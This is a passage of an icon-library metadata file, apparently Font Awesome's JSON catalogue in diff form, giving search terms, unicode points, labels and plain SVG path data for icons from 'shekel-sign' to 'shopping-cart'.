1628088634989, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "shekel-sign": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "ils", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f20b", + "label": "Shekel Sign", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635687, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "shield-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "achievement", + "award", + "block", + "defend", + "security", + "winner" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3ed", + "label": "Alternate Shield", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635687, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z" + } + }, + "free": [ + "solid" + ] + }, + "shield-virus": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "antibodies", + "barrier", + "covid-19", + "health", + "protect" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e06c", + "label": "Shield Virus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635689, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z" + } + }, + "free": [ + "solid" + ] + }, + "ship": { + "changes": [ + "4.3", + "5.0.0", + "5.10.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "boat", + "sea", + "water" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f21a", + "label": "Ship", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635689, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z" + } + }, + "free": [ + "solid" + ] + }, + "shipping-fast": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "express", + "fedex", + "mail", + "overnight", + "package", + "ups" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f48b", + "label": "Shipping Fast", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635690, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" + } + }, + "free": [ + "solid" + ] + }, + "shirtsinbulk": { + "changes": [ + "4.3", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f214", + "label": "Shirts in Bulk", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548364699931, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z" + } + }, + "free": [ + "brands" + ] + }, + "shoe-prints": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "feet", + "footprints", + "steps", + "walk" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54b", + "label": "Shoe Prints", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635691, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z" + } + }, + "free": [ + "solid" + ] + }, + "shopify": { + "changes": [ + "5.12.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e057", + "label": "Shopify", + "voted": false, + "svg": { + "brands": { + "last_modified": 1581349336591, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z" + } + }, + "free": [ + "brands" + ] + }, + "shopping-bag": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "checkout", + "grocery", + "payment", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f290", + "label": "Shopping Bag", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635691, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "shopping-basket": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "checkout", + "grocery", + "payment", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f291", + "label": "Shopping Basket", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635691, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "shopping-cart": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "checkout", + "grocery", + "payment", + "purchase" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f07a", + "label": "shopping-cart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635691, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z\"/></svg>", + "viewBox": [ + 